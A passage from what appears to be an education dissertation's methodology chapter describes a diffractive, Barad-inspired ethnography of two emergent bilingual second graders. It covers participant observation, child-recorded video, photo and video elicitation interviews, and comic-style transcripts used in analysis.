this approach and what such an approach makes possible, and then return to its potential limitations or complications toward the end of the chapter. Emergently Responding: Constructing Methods to Negotiate Tensions. The first aspect a diffractive approach to classroom ethnography makes possible is emergently responding to tensions in fieldwork with multiple methods over longitudinal research. When Mazzei and Jackson (2019), Lenz Taguchi (2012) and Murris (2016) refer to “diffractive methods”, the focus is predominantly on different approaches to analysis rather than drawing on different methods during the fieldwork itself. One notable exception is Davies (2014a) who writes about diffraction as a process taking place within an emergent encounter of fieldwork between a researcher’s bodymind and classroom moments with children (Davies, 2014a, 2014b). Perhaps the reason for this emphasis on diffraction as analysis is as Springgay and Truman (2017) note, scholars adopting posthuman lenses are often critical of research methods as pre-fabricated rather than the emergent variety that they advocate for. Other scholars have suggested that methods are often presented in qualitative research manuals require certain steps, which is contrary to opening oneself to immanent encounters as a researcher (Davies, 2014b). In this project, rather than only drawing on diffraction in the analysis, I draw on diffraction as a way to methodologically negotiate and story the overlapping, ever emerging, and differentiated waves in different directions that I rode throughout the process of fifteen months of fieldwork and the tensions these produced. I did not begin my approach working in the classroom influenced by the notion of diffraction—rather, diffraction emerged out of necessity. Therefore, unlike Springgay and Truman’s (2017) call, I did not intentionally place methods in tension with each other in order to provoke. However, similar to Springgay and Truman (2017), I found working with methods as productive to engaging the tensions in research, bringing together different approaches to fieldwork based on various tensions and obstacles and the new waves these produced throughout the research study as we in the classroom engaged in the making of language together throughout the school year (see Figure 1.8). I adopt Lenz Taguchi and Palmer’s (2013) image of surfing diffraction patterns in Room 246, surfing the waves in different directions, staying open as researcher to what might occur in the classroom and moving perspectives on what language is becoming, and what all of us can become with language. Working with research questions as they evolved at Oakville school, I floated with and rode the waves in the second-grade classroom, and constructed methods into the project over time as waves encountered “(in) tension” obstacles (similar to the approach of Lenz Taguchi & Palmer, 2013; Springgay and Truman, 2017). The obstacles that the waves of research encountered were the tensions resulting from not having similar access to verbal/written resources. Other waves were formed from the fact that a White adult native-English speaker and Asian child non-proficient English speaker were perceived differently in the classroom and school, enabling more voice to the researcher than those researched. More waves were the surprises emerging out of the fieldwork over time; for example, there were moments when connectives that seemingly networked players and partners in more significant ways than communication could (see Figure 1.8). Rather than prefabrications, what transpired were methods re-constructed and added so as to engage the tensions of these obstacles. While I originally thought of myself as a researcher surfing through language, I later realized I was seeing, hearing, and feeling language differently. I was no longer lone researcher surfing. Instead, language making was all players and partners from Room 246 on a giant ship, floating with the swells of the waves. While for illustrative purposes, I position methods in the shape of a ship, throughout the school year this boat it was more of an assembling, reassembling like the tangram constructions that Xi Xi Lu, Madeline, their peers, and tablets constructed, photographed, and blogged throughout the school year (see Figure 1.9). Figure 1.9. Methods comprising diffractive apparatus. Tangram configurations above from 3/1/2017 classroom blog post by Madeline. Adding methods at various points in the project were therefore like adding retractable fins on the ship to enable an ethnographic floating and wave riding, tuning the hydraulic machinery so that the fins can change angles, and welding new steel plates to accommodate new swells. Therefore, methods in this project were drawn on to responsively attend to and engage tensions. Yet these methods, like retractable fins, oiled hydraulic machinery, and steel plates, cut the waves differently and moved and shaped the water around them. Thus, these methods were instrumental in building what Barad (2003) calls a “diffractive apparatus”, in this case the methodological mechanism by which the storying and play-by-play of language in Room 246 was investigated, but also how language evolved, came to be significant for whom or what, or “mattered”. Evoking the diffractive metaphors of waves, ship, and rocks jutting out, in what follows, I describe in more detail these three underlying tensions pertaining to the methodology, “rocks jutting out”, or obstructions in the research, and how methods were enacted to address these issues. **Rocks Jutting Out: Tensions Negotiated with a Diffractive Approach to Classroom Ethnography.** The first obstacle encountered in Room 246, or rock jutting out, was that children, teachers, and I had different resources to work with. This could be attributed to different ways of accessing the verbal and written resources in Room 246 (see figure 1.10). Thus, methods and ways of going about fieldwork were taken to open pathways of expression beyond the verbal and written. At the time, this approach to fieldwork derived from a pedagogical impulse as former ESL teacher of young children to create an opening for different ways of expressing beyond the verbal and written. As an ESL teacher of young children, my teaching and ways of interacting often foregrounded visual with sound, including tangible objects and experiencing and connecting through more than the sounds of words. This rationale was supported by scholarship in early childhood, that children’s expression and ways of perceiving may be more fully or differently expressed beyond the verbal and written form (Clark & Moss, 2001; Genishi & Dyson, 2009; Rinaldi, 2006). Having different expressive potentials beyond words is perhaps even more significant for emergent bi/multilingual children, whose ways of expressing might be in between numerous verbal or written aspects of language. Furthermore, in a classroom with English as the medium of instruction, emergent bi/multilinguals may have different expressive potentials, or different opportunities to engage, when working with image, realia, or sound in addition to verbal or written means (Berriz et al. 2018; Wright, 2015). **Rocks Jutting Out: Our Bodies Viewed Differently in School.** Working with Barad’s relational ontology, the properties and boundaries of bodies could be conceptualized as re-made and re-worked continually in a classroom. Yet a significant tension is that this is not how Xi Xi Lu, Madeline and I were perceived in the space of the classroom and school. Teachers, peers, and parents did not view myself, Xi Xi Lu, Madeline, their peers, nor the books, text, sounds, Google Translate application, video cameras and videos that we work with as interconnected, disidentified or transindividual as Barad’s relational ontology might. Our human bodies were read differently rather than as interconnected, corresponding to different degrees of power in the space of school such as identity categories of child, adult, Chinese, American, (less than) proficient English/Chinese speakers, White, Asian, machine, and human. How Xi Xi Lu, Madeline, other children, and I were perceived in the classroom thus impacted our capacities to engage, whether we wanted to acknowledge these categories or not. I found myself grappling with theories that ask that we shatter social identity categories, yet happenings during the fieldwork that suggested how we are perceived in relation to these categories change how we can move through the space of classroom differently. (see Figure 1.11) Figure 1.11. Theoretical/methodological tension #2. During my two years at Oakville, I moved in and out of classrooms with hardly being noticed; for the duration of my research, my body was expected in that space. I was only asked once during school hours who I was and why I was there. Yet Madeline and Xi Xi Lu’s bodies were noticed. I watched as Madeline was questioned about why she was there on occasion as they walked through the hallway to the bathroom or if they went to the cafeteria to order their school lunch outside of the expected times. No one asked me what languages I spoke or where I was from based on my physical features and way of speaking, but this happened to numerous second graders including Xi Xi Lu and Madeline. Questions such as “Do you speak African, because you look like you do?”, or during another moment, “What do you mean African? I think Octavia can speak a little of (African)”, were questions asked by second graders to classmates. These were never questions I received. Xi Xi Lu and Madeline had little familiarity with American public schools, while I had both attended and taught in such institutions. Their dominant language, Chinese, was not shared by any teachers at the school, aside from one ESL instructor that understood words and phrases, yet at a higher proficiency than me. Chinese was not part of the formal curriculum, whereas my most dominant language of English was. As we were *recognized* in the school and classroom, the boundaries between players and partners in Room 246 were not blurred at all. We were *not* recognized as being transformed anew in each moment within the classroom, and differently transformed from moment-to-moment in relations. Shared experiences and memories that Xi Xi Lu, Madeline, and I melded into classroom literacy engagements were invisible: a love of singing and swimming, spending large number of hours in our shared community’s local public playgrounds and libraries, living in a household with multiple languages present, spending time/attending schools in China, experiences studying Chinese, having graduate student parents during elementary school, parents in academia, childhood experiences in Japan, and frequent family visits to Asia. Scholarship pertaining to race in K-12 American schools and English language teaching (Haque & Morgan, 2009; Ladson-Billings, 2001; Liggett, 2009; Motha, 2014, pp.31, 62) and early childhood studies (Flewitt, 2014, p.143; Graue & Walsh, 1998) also outline that a power differential existed in my favor in the research context in this predominantly White American public school setting, where the verbal and written language with the most institutional capital was English, my native and dominant language. Therefore, while a relational ontology urges a pushing beyond what in many ways are stagnant identity categories that separated players and partners in a classroom, I had to simultaneously attend to how this was in tension with how we were differently perceived in the classroom and school. **Rocks Jutting Out: Multiple Ways of Making Sense of Language in a Classroom.** As noted previously, during the fieldwork, it became evident that teachers, children, and researcher had different ways of making sense of what language, and therefore engagement could be. In order to negotiate these different ways of seeing, hearing, and feeling language, yet another way diffraction as an approach adds to this classroom ethnography is that it provides a framework to explain how methodologically and emergently I negotiated these different perspectives, grappling with insights from both child-centered and agential realist approaches to doing research as required by the unique and emergent happenings throughout the course of research in Room 246. Diffraction suggests there is no pre-determined definition of language, but rather language can enfold through the fieldwork, continuing to change the process of analysis once the fieldwork is complete. In order to be methodologically responsive to the surprises of research, diffraction provided the possibility to explode out of the silos of different fields and theoretical traditions, reading the insights of these perspectives through each other. I write about this in detail in chapter two. Taking multiple perspectives of language is critical because conceptualizing language making as predominantly verbal and written, or as only enacted by humans, as only symbolizing and recognized, as never symbolizing and recognized, or one theoretical lens over another, we miss noticing multiple pathways of engaging in classroom literacies. Scholars of qualitative research methodologies in education, Mazzei and Jackson (2019) consider the process of diffraction as a “setting in motion” of what they call “expression-to-come” rather than expression that is already present in the moment (p. 174). Thus, studying the iterative doings of language making through a diffractive apparatus enabled a moving with language making throughout the school year and beyond, a rolling with it, such that the ever-evolving doings of language making as it enfolds or re-incorporates differently in each iteration in Room 246 are often surprises. **Engaging in Language Making as Researcher.** The second aspect a diffractive approach makes possible is as researcher I could be fully engaged in language with this research. Diffraction is an apt approach to studying engagement given that diffraction is “a critical practice of engagement” in itself, such that the researcher can become part of the ontologically new that is created and fully engaged; it is “not a distance-learning practice of reflection from afar” (Barad, 2007, p.90). In this way, I claim that what we might recognize in the classroom, such as Xi Xi Lu, tablets, Madeline, myself, Chinese characters, sound, classroom walls, and qualitative methods such as video elicitation interviews, are not pre-existing with particular attributes or identities. Instead, just as ocean waves are re-constituted through encountering an obstruction such as a jetty, we are all affected and augmented differently through the interferences that produce us from moment-to-moment, and we affect each other, thus enabling (and disabling) each other to act or engage in classroom literacies differently. Thus, while we might be viewed as Xi Xi Lu, Madeline, child, adult, Frances, tablet, video elicitation interview in the classroom, Barad’s notion of agential realism suggests that we are all connected in language in more ways than our normalized way of seeing language in classroom makes possible. By noticing these perhaps hidden connections within language, we might come to see how we are more enabled to engage in the classroom through our potential connections rather than our independence of them. As early childhood educator Lenz Taguchi (2011) notes citing Hultman’s (2011) research, “interconnections multiply and overlap so that dependence in these relations with others and things opens up new possibilities—that is, increases your relative ‘independence’ through multiple dependencies” (p. 40). While Xi Xi Lu, Madeline, tablet and I are perceived as representing particular characteristics or identity categories, noted differently, we are instead not only perceived as potentially different from moment-to-moment as different subjects, but also comprised as different as we are physically in motion, responding and changing with the forces produced with each other, affecting each other, blending or bleeding into each other more than is recognized, just as complex combinations of shadows and light. As researcher, just as research, who or what I can become, or what I do in a particular moment is only possible through my associations from moment-to-moment in the classroom in a process of dynamic configurations of language making. As researcher, I, just as research, am continually morphing with different dynamic players and partners that comprise a dynamic room 246. **Stories that Matter.** Diffraction as an approach to classroom ethnography also gives a way to conceptualize the stories we tell in research as material capable of re-working how educators, pre-service and in-service teachers come to see, hear, and feel how ‘language’ is present in classrooms with emergent bi/multilingual children. Many language and literacy researchers taking a critical approach in studying classrooms across multiple perspectives do so with the hope that their work is taken up in ways that ultimately change the realities of the schools and populations of which they advocate (Lewis et al., 2007). Yet the concept of diffraction provides a compelling way of conceptualizing *how* the material produced through scholarship might make a radical restorying possible. With diffraction, ongoing intra-actions form particular combinations of language, which combine and differentiate to become the source or stock from which new iterations of language making are produced. These new iterations, opportunities in the classroom to engage would be what Barad calls “agential cuts” or momentary materializations that can exist in classrooms. What is significant to a material restorying is that the material that ultimately makes such cuts or new narratives for classrooms are the stories told of alternative ways of seeing, hearing, and feeling language, a new physical material that changes what is available for scholars, pre-service and in-service teachers to work with in a continued exploration of language making in classrooms with emergent bi/multilinguals. Thus, through producing different stories of emergent bi/multilinguals in classrooms, and new ways of conceptualizing our language and engagement in classrooms, this changes the narrative, “topologically reconfigure[ing] connections” by which these children in schools and viewed (Barad, 2007, p. 381). These stories of research thus also become agential cuts, or what in Barad’s terms produce the ‘matter’ for what can ‘matter’. **B. How A Diffractive Approach to Classroom Ethnography Shaped Methods** How did these rocks jutting out, tensions, produce different methods evolving throughout the research? Methods were emergently put together and approaches to these methods re-worked in order to respond to the tensions of fieldwork. Each of these methods made engaging tensions possible and a different way of seeing or listening to what was happening in Room 246. I first outline the approaches taken, and then secondly, how these methods produced new tensions, new rocks jutting out. **Figure 1.12.** Methods producing field texts to answer research questions. **Participant Observation.** A primary focus as a participant observer was to open up ways of connecting and expressing in research involving emergent improvisational encounters with emergent bi/multilingual children and their peers, of which our verbal and written languages were different. By working and recording with children, I too am changed, just as other players and partners in the classroom. Rather than reflecting or watching from afar, I am physically part of the moment. That is, a “direct material engagement” (Barad, 2007, p. 49) with the world, in this case, was a way for me to have a direct material engagement with the classroom. I thus began the research by listening where I attended to language as verbal but also “[paid] attention to other languages beyond the verbal” (Forman & Fyfe, 2012, p. 205) and “listen[ed] with [my] senses, not just with [my] ears” (p. 234). Drawing on the Reggio Emilia philosophy of ‘the hundred languages of children’, my participant observation was also guided by attention to the senses. I was particularly influenced by poststructural scholar of education Davies (2014a), who also drew on Reggio Emilia philosophy, asking researchers to be attuned to “that which cannot yet be said” (p. xi). Because of my verbal and written linguistic differences between myself and several children, I didn’t intend to only “listen” through an interpreter, as is often the valued means of understanding bi/multilingual children when the researcher and children do not have the same dominant verbal language; I also consider Davis (2014a): “our language difference, far from becoming a problem, was an asset in opening us up to what we could each become in relation to the other” (p. 15). I hoped to turn verbal and written language difference, which some consider a methodological challenge, into an arena of discovery. My hope was that through what Davies considers an embodied listening, I could have more insight into the complexity of classroom ‘worlds’ that players and partners, including (emergent) bi/multilingual children lived in school. Even though Davies draws on Barad’s notion of diffraction, which attends to interactions of humans non-humans, and more, I began my research chiefly focused on children’s peer interactions and those with the teacher. I carefully made note of the mannerisms of all players and partners: children, teacher and researcher. I noticed when children broke into a dance, clenched their stomach, made certain noises, or acted in a way that was markedly different from their usual ways of acting. As time went on and new readings were trickling into the research, I became more aware of who and what engages in our fusion of image, text, sounds, pointing, tablet computers that constituted our ability to connect. I began recording in more detail what were on desks, resting in laps, held, and sounds heard that coincided with bodies moving and what these networks led players and partners to. I began to notice how the largely unrecognized tablets, hair extensions, books, text, sounds, Google Translate application, video cameras and videos, alongside the verbal/written languages of English, Chinese, and Korean, are what changed opportunities to engage in classroom literacies. I began to notice how that in our process of creating language together, material objects, sounds, logographs and letters were players and partners with us. As I worked with children or sat alongside them, both of us recording, I asked children questions about their work, drawings, or what they were engaging in in the moment (Flewitt, 2014; Tammivaara & Enright, 1986; Spradley, 1979). I also asked follow-up questions to understand something students said or did in literacy engagements with peers during school that I felt needed to be understood more in depth. My follow-up questions often took place during lunch and recess, such as while pushing Madeline and Xi Xi Lu on the swing, or other times I sat next to students on the carpet as they read or worked at their desks. The rationale was to create comfortable situations for children to engage that were synchronous with how children expressed/communicated. All of these noticings were recorded in written and audio field notes (Emerson, Fretz & Shaw, 2011). I also asked children to draw in order to accompany their verbal expression (Coates & Coates, 2006; Darbyshire, MacDougall, & Schiller, 2005; Einarsdottir, Dockett, & Perry, 2009). Like early childhood scholars Coates and Coates (2005) and Einarsdottir et al. (2009), I emphasized the process of drawing rather than the product itself and considered the presence of peers and others on both the process and product in addition to the context. All children’s drawings of “language in school” and “school”, not only Xi Xi Lu and Madeline’s, made possible understanding how Xi Xi Lu and Madeline’s ideas of language and school were both similar and different than their peers. This understanding provided new information that complemented and extended their verbal answers to this topic, their translations with the tablet, and embodied responses to the topic of language and school. When I asked children to draw “your school”, Madeline asked if she could draw her school in China rather than her current school in America. This example of Madeline grappling with the topic to be expressed, a question none of her peers raised illustrates how students’ negotiation of the activity can be just as telling as the product itself. In the case of Xi Xi Lu, her drawing of her school which appears as one cohesive building on the page, was verbally explained as including a mesh of different characteristics of her school in China and those in America, something missing from each of her classmates’ drawings, who reported to represent their local school, the research site. I return to these drawings in Chapter four. **Video Recording of Classroom Activity.** Video was essential to this project for multiple reasons. First, attending to the rationale of opening up ways of expressing beyond verbal and written given the children’s and my different capacities to express at the research site, I wanted to recognize children’s visual documentation of their engagements in the classroom and during video-elicitation interviews in ways that they might not be able to express verbally and in writing (Clark & Moss, 2001; Clark, 2011). As a researcher, I too wanted to be able to express beyond the verbal and written. Inspired by the Reggio-Emilia notion of “visual listening” (Rinaldi, 2012, p.213), as a researcher with a video camera, I attempted to listen visually, attuning to particular situations with the pointing of the camera. Second, in order to answer my second research question regarding how language making is recognized from different perspectives, I sought to prioritize children’s own perspectives of the interactions, incorporating child-generated data in tandem with child-generated explanations of how and why these are important to guide the research. The camera, thus, became a partner with the children and myself. The rationale was that with the camera, during both classroom activity and video elicitation interviews, this might inspire listening and perceiving visually to movement and sound rather than orally or in writing—an ability to then show rather than tell what was significant in the classroom. Connecting to the second rock jutting out, I took care that emergent bi/multilingual children’s ‘voices’ were incorporated in the process and product of the research. I attempted to produce what I thought at the time was a more child-oriented perspective of the interaction, mindful that children were viewed as having less power compared to the researcher in the field site. Thus, children were given the choice to record with one of four video cameras, two Kodak touch cameras, and two different styles of Go Pros, Hero+ and Hero 4. Children had a choice of mounting options with Go Pro cameras such as a head mount, chest mount, or elsewhere. If children wanted to record, I told them to record “what is important to you” about what is happening. At the time, my rationale was that by children recording what was important to them in their interactions at school they would have more “ownership and agency through the act of creation” (Prosser and Loxley, 4.4). I thought this would be a strategy to balance the power dynamic between researcher and participant, where participants could become the expert, and researcher the listeners (4). The rationale was to create a shared degree of “vulnerability” between “researcher and researched”, where both could participate in different ways (Vasudevan et al., 2015). To my first research question, how is language making done, video recordings granted re-playing and analyzing the second-by-second material-discursive (Barad, 2007) movements in the classroom, or iterations of language making where material characteristics are implicated with speech acts as a mattering. Given my training in microethnography and discourse analysis, analyzing video of moments was an optimal way to give a detailed description of the moving pieces of the doing of language (Heath & Hindmarsh, 2002). Given the high volume of noise and sound in classrooms with young children, I placed two Zoom audio recorders in different hubs of activity near the student or researcher-placed video cameras as a way to produce higher quality audio to be used in conjunction with video data if needed. Neither researcher nor child video was viewed as a more valued perspective, but interpretations that could lead to considering multiple truths (Kondo & Sjöberg, 2012). **Video and Photo Elicitation Interviews.** *Video.* The rationale for video elicitation interviews were multiple. First, because Xi Xi Lu, Madeline, and I had different capacities to verbally express or understand each other’s words, when referring to particular moments throughout the school year, I needed to be able to visually express my question, which was aided by the video. Second, even while also attending to our intra-actions in analysis, I took care to foreground children’s perspectives by attempting to give Xi Xi Lu, Madeline, and their peers opportunities to influence the research. This rationale was the impetus for children selecting videos for the video elicitation interviews and the impetus for the photo elicitation card sorts. Third, to answer my second research question, I wanted to understand how Xi Xi Lu and Madeline’s peers, parents, and teachers understood the same excerpt and their potential for engagement in different moments. At the time, I thought Xi Xi Lu and Madeline might respond to the excerpts differently in different social of physical locations—i.e. with different peers at school, with parents at home, in a hallway, and on a living room couch. Inspired by educational anthropologist and an early childhood education specialist Tobin’s video-cued multivocal ethnography (Tobin, 2000; Tobin, Hsueh, & Karsawa, 2009), I required a research method to provide rich conversations. At the time, I was interested in the “emotional response” that a video might produce (Flewitt, 2014, p.144) or a context facilitating self-reflection (Clark, 2011, p.326). The video elicitation interviews were geared toward answering my second research question, focusing on eliciting different perspectives of language making. By asking Xi Xi Lu, Madeline, their peers, parents, and teachers to explain their understanding, I was hoping they could guide me to understand what they found important. Addressing the underlying power-differential in my research project, I hoped that watching and commenting on student-produced data would provide a further space for children to create data in ways that provided them the opportunity to be “important contributors to debates about their own lives” and complicate my researcher-interpretation of what was occurring, which Corsaro (2003) argued children are not often asked to do. How this operated in the research project was as follows. After I logged and processed video data from classroom literacy activities, I turned these into short thirty-second to one-minute video excerpts. To create the video excerpts, I used Studio Code to highlight moments when children appeared engaged, such that children’s ways of acting or who or what they were engaging with were different than what I noticed from longitudinal participant observation. Within each excerpt, I selected moments where text, images, sounds, children’s bodies, and materials seemed to come together in ways that appeared to influence the outcome of what happened in the classroom. The forty or so moments excerpted throughout the school year included activities such as drawing, touching paper, use of English/Chinese/Korean, producing different genres of literacy ‘products’, knocking a peer over with one’s body, singing, the presence of a tablet computer, bodies at desks versus kneeling on the floor, the presence of photographs or realia/objects versus not. From September-January, after identifying video excerpts through initial analysis, I showed individual children that took part in the interaction the videos and asked questions to all individuals present in the interaction. During March through May, I led ten focus group video elicitation interviews with groups of second grade children—both including Xi Xi Lu and Madeline and sometimes not. These interviews consisted of sharing the same video excerpts previously identified as important or significant by focal participants. During the school year, I visited Xi Xi Lu and Madeline’s homes multiple times; I also made multiple home visits to three other children’s homes. All home visits included video elicitation interviews based on moments that children selected prior to me showing them to their parents. Home visits were audio recorded if parents and children gave their permission. Children and I dually video recorded the video-elicitation interviews that took place at school. Drawing on Tobin and colleagues’ studies, I generally used the same video clips to interview the children present in a scene, the children’s peers, children’s teachers, and their parents because I was interested in the multiple perspectives that may have been relevant to classroom experiences in a given situation that I as an adult not sharing the cultural, linguistic, or schooling experiences of Xi Xi Lu and Madeline might not be able to identify. In contrast to Tobin’s approach, my interviews became only one piece rather than the focal point of my data. Moreover, the most important video excerpts were determined not only by me or teacher, as in the case of Tobin’s studies, but in this study they were also selected by the children themselves through use of photo-elicitation card sort interviews. I write more about the significance of video and video elicitation interviews throughout the research in chapter five. Photo. Whereas the video-elicitation interviews made possible exploring the moment-by-moment detailed responses as elicited by a moment, during the later interviews occurring March-May, I asked second graders, Xi Xi Lu and Madeline included, to rank and sort multiple moments that occurred throughout the school year. Photo elicitation interviews thus permitted a negotiation of what ‘engaged’ meant for Madeline and Xi Xi Lu over time. Inspired by ethnographic card sorting interview techniques (Spradley, 1979), I created ‘still shot’ photographs from the researcher and student created video data of different moments, and placed each color photograph on a uniform 3x5 white index card. Inspired by scholarship on visual research methods with children (Birkeland, 2013; Cooper, 2017; Rose, 2016; Soto & Garza, 2011), this activity made it possible for children to direct me to a new way of conceptualizing ‘engagement’ without having to use verbal or written means. Did the moments that children considered ‘engaged’ feature tablet computers or not? Did they occur during math, literacy, recess, ESL? With or without certain peers? With or without Chinese or English? While engaged in particular activities? Children placed the photograph cards on a sheet of paper with three emoji faces, a smiley face to indicate “I felt good about what I was doing or how people in the class saw me here”, a ‘neutral’ face, which meant “I’m not sure” or “mixed feelings”, and a frowning face indicating “I felt bad about what I was doing or how people in the class saw me here”. In this video-recorded exchange of sorting and ranking, we also negotiated how to make sense of my adult understanding of ‘engaged’. Children negotiated their own ways of making sense of potentials they could have in each moment. For example, one student re-phrased the smiley category to “times when I felt proud about what I was doing”. Just as teacher educator and qualitative researcher Cappello (2005), I found the most productive way of initiating how one could participate, engage, contribute, or how they were enabled to act is to ask children to categorize and rank the moments based on how they felt in the situation or thought they were seen in each situation, and to explain why this was the case. It is through the process of sorting and other forms of communication during the sort (i.e. facial expressions or verbal communication) that in Prosser and Loxley’s (2008) terms, students did not just “create” some of the photographs, but ‘‘find’ photographs that have significance for them’ (4.1). V. Data Analysis I view the initial diffractive analysis taking place during the video elicitation and photo interviews as I intra-actively engaged with emergent bi/multilingual children and the video data in the classroom. The second phase of data analysis is where I, with ComicLife Application, created material-discursive transcripts and entered into an open space of discovery with the material of research (data and theories), such that I, data, multiple field texts, and theories of multiple lenses transformed each other so as to construct new knowledge (Davies, 2014a; Jackson & Mazzei, 2012; Lenz Taguchi, 2012; Lenz Taguchi & Palmer, 2013; Mazzei, 2014; Palmer, 2011). Mazzei and Jackson (2019/2012) encourage qualitative researchers to think of the process of diffraction as a process of encountering research, moving with it so as to tell different stories that surprise. Drawing on the concept of diffraction in the analysis, over a two-year period following the fieldwork, I simultaneously worked with different theories, iteratively trying them out with field texts in attempt to respond to them. In her work, Davies (2014b) calls this navigating the movements of “entangle(ing) intra-acting encounters” (p. 735). In the process of analysis, I began with the data of field text themselves, the material-discursive products of the experience of research of particular moments children indicated were most significant during the second-grade school year. Field texts included video that children, cameras, and I produced of classroom literacies, children’s words in both Chinese and English, myself, parents, and teachers from fieldnotes and audio recordings of home visits, children’s writing and drawing, field notes, and sounds. I refer to these transcripts as material-discursive (Barad, 2007), to show not only is there more than signs symbolizing in these moments, yet that the process of research and analysis is a diffractive apparatus that changes how the moment can be and is storied. The process of transcript creation was a way to think diffractively about what was coming together in classroom moments as evident through different field texts, mapping the intra-actions between children, myself, teachers, sounds, logograms and letters, material objects, and what existed in-between players and partners as we moved throughout the moment (Ehret et al., 2016). That is, transcription was concerned with what human and nonhuman bodies came together from moment-to-moment, and how these shifted and moved in relationships with each other and the action produced within micro-moments of change (Barad, 2007; Hultman & Taguchi, 2010; Murris & Haynes, 2018). Rather than thematic coding, these field texts were collaged into transcripts influenced by graphic novel and comic aesthetics created with the Comic Life application. Transcripts included both the original moments in the classrooms and the multiple video and photo elicitation interviews that followed subsequently throughout the school year. I was drawn to comic aesthetics as an intra-active storying of the moment because I wanted to illustrate the theoretical ideas underpinning an intra-active approach to language in classrooms, illustrating through the comic how the multiple threads were juxtaposed, scrunched on top of each other rather than foregrounding only language as verbal and written, or parsing them into separate categories. I furthermore wanted to illustrate how the players and partners in language making played with each other, made possible through comics since speech bubbles can sit atop and behind image, and components can be both in the main frame and in the gutter between frames. Furthermore, in-line with my methodological approach to listening to and engaging with children, I chose to work with comics in the analysis because this was a popular form of literacies for second graders at Oakville Elementary and enabled attending to the multiple ways of making sense of language in the classroom. Excerpts from these visual narratives can be seen throughout the dissertation. Creating material-discursive transcripts through a compilation of field texts, I next asked ‘what was evoking what?’, when and where, or what components in their entanglings were associated with a change, shift, or pivot, similar to Boldt and Leander’s (2017) analysis of a child and adult playing together. This approach resonates with Hultman and Taguchi’s (2010) relational material approach where they argued ‘seeing with data’ involves looking for moments where components in intra-action are transformed or changed. I came to see these changes or movements to be what was central to the intra-actions—the driving forces from moment-to-moment that ran in-between the entangled players and partners of language making. With the application ComicLife on my computer, I intra-acted with the field texts, memories of the research experiences both at home and school, the numerous occasions when I ran into former-second graders at pools, parks, and libraries in our shared community during the two years after the fieldwork, my own parenting experiences, and theoretical concepts (Barad, 2007; Jackson & Mazzei, 2012; Lenz Taguchi, 2010). Thus, this process involved an entangling of different times and spaces. These intra-active moments of analysis consisted of a recursive process of watching multiple videos from the moment filmed from different angles over and over, with and without the sound, slowed down and sped up, and comparing this to field notes written in-the-moment. Given the high level of activity in the videos, in order to listen and feel the moment, I found it necessary to mute the sound in moments in order to attend to the body and image that I might have otherwise missed. Likewise, in other moments I closed my eyes and attended to the tangle of sounds, what I heard as dozens upon dozens of overlapping and juxtaposed sounds, their volumes, lengths, pitches—details I often missed being distracted by the visual aspect of the video. I viewed each moment from contrasting perspectives following how each was present and played in the moment. For example, during the science investigation, I attended equally to the tablet, Patrick, Xi Xi Lu, Madeline, the cups, cardboard, Mandarin singing, machine-gun-like sounds. Literacy and affect scholar Ehret (2018) describes what he calls a process of “emergence analysis”, which captures the essence of the approach I took. watching video, sometimes without sound, sometimes listening without moving image; listening to audio recordings, eyes closed, open, pacing, sitting; feeling moments anew and wishing for words where words will always stumble and slip…and struggling to compose textures and intensities that exceed language…opening new potentials of feeling for both readers and myself. (p. 58) Yet while Ehret writes of moments with words, carrying through the notion of language making including but beyond written and verbal components, in my analysis, I wrote through weaving words, images, and sound. **Material-Discursive Transcripts as a Language Making** With this approach to analysis, iterations of analysis and the stories produced are productive of moments where I as researcher became “affectively engaged with and moved by that which seemed to enchant and move the children” (Hultman & Lenz Taguchi, 2010, p. 540). Just as Hultman and Lenz Taguchi write, throughout this process of visual narrative creation, the videos of the classroom worked on me as researcher as I created visual narratives. As I held the curser, creating screen shots of video during the science investigation in chapter two, for example, I am affected by Patrick’s tapping of the bookshelf with a plastic game piece, seemingly trying to one-up Xi Xi Lu, Madeline, and the tablet’s songs and giggles. Not only was my perspective of language affected by intra-acting with the research, but so was that of Xi Xi Lu, Madeline, peers, and teachers. The analysis therefore does not depict a representation of the moment itself, but rather a co-produced storytelling between theories, field texts, my recollections and feelings of the moment itself, and moments before and after the fieldwork. As such, through different iterations of analysis “something new is created with the data. It is an effect of being affected” (Hultman & Lenz Taguchi, 2010, p. 537), meaning what Hultman and Lenz Taguchi refer to as intensities running through the moment are what count in creating ‘the moment’. Working with the visual-sound-movement of video in the play of language throughout fieldwork and writing was often an unexpected relief and opening. On many occasions, I wanted to leap into the video, more fully entangle with it despite having no training in video or film, never having worked with it before. Such language making with video consisted of intra-actively watching and re-watching the video with and without children, digitally cutting the video, making smaller clips, dragging the curser when captivated to produce screen shots of a particular moment and angle, working with software to apply filters and change colors, all the while pixels and algorithms continually shifting. Each time I intra-acted with the data, the analysis changed slightly. Over time as I read new scholarship, continued to watch the videos over and over, juxtaposed with voluminous field notes, what seemed significant, what I was moved to screen shot and incorporate into the material-discursive transcript “glowed” (MacLure, 2013) or changed. I created the visual narratives, fusing my daily experiences with multiple bits and pieces, fragments of sounds, movements, and image where attempting to understand the meaning seems to miss the significance of what (else) might be happening. Harwood and Collier (2019) note that different than a cohesive linguistic narrative, the material characteristics of the visual of video footage leave gaps that might make the viewer feel as though they’re missing something, producing sounds and images that are perhaps “evocative, embodied, non-linear, and unpredictable” (p.52). Thus, in these fragments of not understanding, these gaps in the creation of visual narratives produced openings that led to screenshotting moments of video that were often significant beyond linguistic representation. As Wanono’s (2014) and de Freitas’ (2015) work suggests, these visual narratives were also manipulated and distorted by intra-acting with the display technology of my laptop, Studio Code software, and ComicLife application. **Experiences of Parent Entangled in Language Making of Material Discursive Transcripts** This attention to sound and movement during watching video was entangled with my being new parent, living a process of grappling with perhaps hundreds of sounds and bodily movements I never paid attention to. For example, I began to notice of a cacophony of various shrieks, gurgles, cries, meshes of noise, moans, aspirations, breathing, gurgles, coos, that provoke me as parent but do not necessarily symbolize or can be recognized. Thus, video of Room 246 with experiences as infant/toddler parent produces an affective response (Hultman & Lenz Taguchi, 2010), re-shaping how the moment might otherwise be felt (Sumartojo and Pink, 2017), thus changing the content of the visual narratives. As I create visual narratives, affecting my movements are additional experiences as a parent. There are: the peppered phrases of Bengali emanating from the living room bookshelf children’s songs from family car CD player, and the mouths of family members As parent, I repeatedly decode strings of nonsense consonant letters at request—WJFHTNVHGUTHFS I hear and see Neel’s phrases in Hindi and head nods with autowallas in India, and loud sounds and movement accompanying building with blocks and car races. Neel’s phrases provoke, but don’t translate: “Chicken buoy”, “mammatupe”, AAAHHHHA I see and feel Neel’s rejections at my attempts to read and speak in Italian, my other verbal/written language that rapidly deteriorates I watch as Neel speaks to his ‘bacteria’ and then pauses to listen to 